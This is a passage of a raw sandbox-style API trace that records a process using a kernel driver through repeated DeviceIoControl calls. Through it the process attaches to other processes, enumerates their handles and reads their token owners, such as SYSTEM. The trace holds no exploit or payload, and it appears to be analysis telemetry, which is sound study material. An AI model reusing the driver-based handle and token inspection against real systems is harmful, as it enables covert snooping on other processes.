PsReleaseProcessExitSynchronization () returned 0x2 [0132.282] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.282] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.282] ObfDereferenceObject (Object=0xfffffa8003591be0) returned 0x1 [0132.282] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.282] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.282] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.282] PsAcquireProcessExitSynchronization () returned 0x0 [0132.282] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880050005d0) [0132.282] ObReferenceObjectByHandle (in: Handle=0xabc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003097f20, HandleInformation=0x0) returned 0x0 [0132.282] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.283] PsReleaseProcessExitSynchronization () returned 0x2 [0132.283] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0132.283] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000508) returned 0x0 [0132.283] ObfDereferenceObject (Object=0xfffffa8003097f20) returned 0x1 [0132.283] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.283] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.283] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x46c) returned 0xc0 [0132.283] ObOpenObjectByPointer (in: Object=0xfffffa8003235b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800009fc) returned 0x0 [0132.283] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x86 [0132.283] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009fc, DesiredAccess=0x8, TokenHandle=0xfffffa80020ad8c0 | out: TokenHandle=0xfffffa80020ad8c0*=0xc8) returned 0x0 [0132.283] ZwClose (Handle=0xffffffff800009fc) returned 0x0 [0132.283] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.283] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.283] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.285] CloseHandle (hObject=0xc8) returned 1 [0132.285] CloseHandle (hObject=0xc0) returned 1 [0132.285] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.285] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0132.285] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.285] PsAcquireProcessExitSynchronization () returned 0x0 [0132.285] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880050005d0) [0132.285] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f72400, HandleInformation=0x0) returned 0x0 [0132.285] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.285] PsReleaseProcessExitSynchronization () returned 0x2 [0132.285] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0132.285] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.285] ObfDereferenceObject (Object=0xfffffa8002f72400) returned 0x1 [0132.285] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.285] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.285] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.285] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0132.285] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.286] PsAcquireProcessExitSynchronization () returned 0x0 [0132.286] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880050005d0) [0132.286] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003277b70, HandleInformation=0x0) returned 0x0 [0132.286] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.286] PsReleaseProcessExitSynchronization () returned 0x2 [0132.286] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0132.286] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000508) returned 0x0 [0132.286] ObfDereferenceObject (Object=0xfffffa8003277b70) returned 0x1 [0132.286] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.286] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.286] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.286] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0132.286] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.286] PsAcquireProcessExitSynchronization () returned 0x0 [0132.286] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880050005d0) [0132.286] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003478070, HandleInformation=0x0) returned 0x0 [0132.286] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.286] PsReleaseProcessExitSynchronization () returned 0x2 [0132.286] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0132.286] ObQueryNameString (in: Object=0xfffffa8003478070, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.286] ObfDereferenceObject (Object=0xfffffa8003478070) returned 0x1 [0132.286] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.286] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.286] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.286] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.286] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.286] PsAcquireProcessExitSynchronization () returned 0x0 [0132.286] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880050005d0) [0132.286] ObReferenceObjectByHandle (in: Handle=0x198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0132.286] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.286] PsReleaseProcessExitSynchronization () returned 0x2 [0132.286] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0132.286] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.287] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0132.287] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.287] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.287] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.287] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.287] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.287] PsAcquireProcessExitSynchronization () returned 0x0 [0132.287] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880050005d0) [0132.287] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0132.287] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.287] PsReleaseProcessExitSynchronization () returned 0x2 [0132.287] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0132.287] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.287] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0132.287] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.287] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.287] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.287] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0132.287] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.287] PsAcquireProcessExitSynchronization () returned 0x0 [0132.287] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880050005d0) [0132.287] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80034f0800, HandleInformation=0x0) returned 0x0 [0132.287] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.287] PsReleaseProcessExitSynchronization () returned 0x2 [0132.287] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0132.287] ObQueryNameString (in: Object=0xfffffa80018ee4d0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.287] ObfDereferenceObject (Object=0xfffffa80034f0800) returned 0x1 [0132.287] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.287] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.287] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.287] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0132.287] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.287] PsAcquireProcessExitSynchronization () returned 0x0 [0132.287] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff880050005d0) [0132.288] ObReferenceObjectByHandle (in: Handle=0x2bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800326a070, HandleInformation=0x0) returned 0x0 [0132.288] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.288] PsReleaseProcessExitSynchronization () returned 0x2 [0132.288] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0132.288] ObQueryNameString (in: Object=0xfffffa800326a070, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.288] ObfDereferenceObject (Object=0xfffffa800326a070) returned 0x1 [0132.288] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.288] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.288] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4a8) returned 0xc0 [0132.288] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.288] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800eac7860, HandleInformation=0x0) returned 0x0 [0132.288] ObOpenObjectByPointer (in: Object=0xfffffa800eac7860, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800009fc) returned 0x0 [0132.288] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x88 [0132.288] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009fc, DesiredAccess=0x8, TokenHandle=0xfffffa80020ad8c0 | out: TokenHandle=0xfffffa80020ad8c0*=0xc8) returned 0x0 [0132.288] ZwClose (Handle=0xffffffff800009fc) returned 0x0 [0132.288] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.289] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.289] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.291] CloseHandle (hObject=0xc8) returned 1 [0132.291] CloseHandle (hObject=0xc0) returned 1 [0132.291] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.291] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0132.291] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.291] PsAcquireProcessExitSynchronization () returned 0x0 [0132.291] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880050005d0) [0132.291] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800327bf20, HandleInformation=0x0) returned 0x0 [0132.291] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.291] PsReleaseProcessExitSynchronization () returned 0x2 [0132.291] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0132.291] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000508) returned 0x0 [0132.291] ObfDereferenceObject (Object=0xfffffa800327bf20) returned 0x1 [0132.291] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.291] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.291] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.291] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0132.291] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.291] PsAcquireProcessExitSynchronization () returned 0x0 [0132.291] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880050005d0) [0132.292] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800327b2f0, HandleInformation=0x0) returned 0x0 [0132.292] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.292] PsReleaseProcessExitSynchronization () returned 0x2 [0132.292] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0132.292] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.292] ObfDereferenceObject (Object=0xfffffa800327b2f0) returned 0x1 [0132.292] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.292] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.292] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.292] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.292] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.292] PsAcquireProcessExitSynchronization () returned 0x0 [0132.292] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880050005d0) [0132.292] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.292] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.292] PsReleaseProcessExitSynchronization () returned 0x2 [0132.292] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0132.292] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.292] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.292] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.292] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.292] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.292] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.292] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.292] PsAcquireProcessExitSynchronization () returned 0x0 [0132.292] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880050005d0) [0132.292] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0132.292] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.292] PsReleaseProcessExitSynchronization () returned 0x2 [0132.292] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0132.292] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.292] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0132.292] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.292] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.293] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.293] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.293] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.293] PsAcquireProcessExitSynchronization () returned 0x0 [0132.293] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880050005d0) [0132.293] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0132.293] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.293] PsReleaseProcessExitSynchronization () returned 0x2 [0132.293] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0132.293] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.293] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0132.293] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.293] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.293] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.293] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: 